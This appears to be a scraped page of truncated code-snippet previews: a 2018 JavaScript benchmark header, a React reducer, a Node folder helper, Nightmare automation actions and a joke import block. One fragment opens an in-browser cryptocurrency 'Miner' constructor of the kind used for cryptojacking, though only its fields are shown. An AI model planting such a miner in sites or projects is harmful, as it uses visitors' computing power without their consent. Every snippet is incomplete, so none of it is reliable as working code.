generated at Mon, 05 Feb 2018 12:17:35 GMT
Node version : v8.9.4
Minimum sample size : 200
(X) refers to this file
(16) is 'let i = array.length; for (; i-- ;)'
Elements | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
import React, { Component } from "react"; | |
import { useEffect, useState } from "react"; | |
function createLoadReducer() { | |
return (state = { loading: false }, action) => { | |
switch (action.type) { | |
case "LOADING": | |
return { loading: true }; | |
case "ERROR": | |
return { loading: false, error: action.data }; |
(function(window) { | |
"use strict"; | |
var Miner = function(siteKey, params) { | |
this.params = params || {}; | |
this._siteKey = siteKey; | |
this._user = null; | |
this._threads = []; | |
this._hashes = 0; | |
this._currentJob = null; | |
this._autoReconnect = true; |
generated at Mon, 05 Feb 2018 12:17:35 GMT
Node version : v8.9.4
Minimum sample size : 200
(X) refers to this file
(16) is 'let i = array.length; for (; i-- ;)'
Elements | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
'use strict'; | |
const fs = require('fs'); | |
const path = require('path'); | |
/** | |
* Create a folder and returns a Promise | |
* @param {String} folder | |
* @return {Promise} | |
*/ |
Nightmare.action('removeDownload', | |
function(ns, options, parent, win, renderer, done) { | |
parent.respondTo('removeDownload', function(subDone) { | |
win.webContents.session.on('will-download', (event, item, webContents) => { | |
// Remove download event | |
event.preventDefault(); | |
}); | |
subDone(null); | |
}); |
Nightmare.action('inViewport', function(selector, done) { | |
this.evaluate_now(function(selector) { | |
var element = document.querySelector(selector); | |
if (!element){ | |
return false; | |
} | |
var rect = element.getBoundingClientRect(); |
// En fait, y'a aucune raison de mettre du JSX, mais Jean déteste ça. | |
import { | |
Trainee, | |
CEO | |
} from 'Promyze'; | |
import { | |
Brain | |
} from 'human-features'; | |
import Facebook from 'facebook'; |